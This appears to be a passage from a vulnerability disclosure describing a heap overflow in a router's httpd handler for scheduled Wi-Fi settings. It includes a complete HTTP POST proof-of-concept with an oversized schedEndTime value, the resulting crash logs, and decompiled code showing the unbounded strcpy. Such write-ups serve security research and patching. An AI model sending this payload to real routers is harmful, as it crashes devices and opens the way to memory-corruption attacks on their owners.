

You can see that the router has crashed.

```
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
connect: No such file or directory
free(): invalid next size (normal)
zsh: abort sudo chroot ./ ./qemu-arm-static ./bin/httpd
```

Similarly, the `schedEndTime` parameter can also trigger this vulnerability.

Request

PrettyRawHex

```

1 POST /goform/openSchedWifi HTTP/1.1
2 Host: 192.168.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
  Firefox/115.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 1102
10 Origin: http://192.168.0.1
11 Connection: close
12 Referer:
  http://192.168.0.1/wifi_time.html?random=0.25690605709286596&
13
14 schedWifiEnable=1&schedStartTime=00%3A00&schedEndTime=
  aaaabaaacaaadaaaeaaafaaagaaahaaiaaaajaaakaaalaaamaaaanaaaaoaaapaaaq
  aaaraaasaaataaaauaaavaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabha
  abiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaa
  byaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaac
  paacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadg
  aadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaduaadvaadwa
  adxaadyaadzaebaaecaadaeaaefaaegaaehaaeiaaejaackaaelaemaanaa
  eoaapaaeqaaeraaesaaetaaeuaaevaawaaexaaeyaaezaafbfaafcaafdaafeaaf
  faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaafaaafuafv
  aafwaaafxaaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagma
  agnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaa
  heaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoahpaahqaahraahsahtaah
  uaahvaahwaahxaahyaahzaaibaicaaidaieaaifaaigaaihaaiiaaijaaiikaail
  aaimaainaioaaiipaiqaairaaisaaitaaiuaaivaaivaaixaaiaaizaaajbaajca
  ajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaa
  jtaajuaajvaajwaajxaajyaaaj01%3A00&timeType=1&day=
  1%2C1%2C1%2C1%2C1%2C1%2C1
```

Router crash

```
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
connect: No such file or directory
free(): invalid next size (normal)
zsh: abort sudo chroot ./ ./qemu-arm-static ./bin/httpd
```

## Code in httpd

In the `setSchedWifi` function, the program first retrieves the values of `schedStartTime` and `schedEndTime`, storing them in `v5` and `v6`. Then, it uses `malloc` to allocate a block of memory. Finally, it uses `strcpy` to copy the values of `v5` and `v6` into the allocated memory without any length restriction, leading to a heap overflow.

```

33 switch_day[b] = 1;
34 memset(mib_name, 0, sizeof(mib_name));
35 memset(parm, 0, sizeof(parm));
36 v4 = websGetVar(wp, (char_t *)"schedWifiEnable", (char_t *)"1");
37 v5 = websGetVar(wp, (char_t *)"schedStartTime", (char_t *)&byte_7A45B);
38 v6 = websGetVar(wp, (char_t *)"schedEndTime", (char_t *)&byte_7A45B);
39 v7 = websGetVar(wp, (char_t *)"timeType", (char_t *)"0");
40 v8 = websGetVar(wp, (char_t *)"day", (char_t *)"1,1,1,1,1,1");
41 v9 = wifi_get_mibname("wlan", "enable", mib_name);
42 GetValue(v9, wifi_enable);
43 if ( !wifi_enable[0] )
44     strcpy((char *)wifi_enable, "1");
45 if ( atoi((const char *)v7) )
46     _isoc99_sscanf(
47         v8,
48         "%d,%d,%d,%d,%d,%d",
49         switch_day,
50         &switch_day[1],
51         &switch_day[2],
52         &switch_day[3],
53         &switch_day[4],
54         &switch_day[5],
55         &switch_day[6]);
56 SetValue("sys.sched.wifi.timeType", v7);
57 v10 = (char *)malloc(0x19u);
58 v11 = atoi((const char *)v4);
59 src = (char *)v11;
60 if ( v10 )
61 {
62     *v10 = atoi((const char *)wifi_enable) != 0;
63     v13 = atoi((const char *)v4) != 0;
64     v10[1] = v13;
65     strcpy(v10 + 2, (const char *)v5);
66     strcpy(v10 + 10, (const char *)v6);
67     v14 = v10 + 17;
68     for ( i = 0; i != 7; ++i )
69     {
70         v16 = switch_day[i];

```

0002DEF8 setSchedWifi:37 (3DEF8)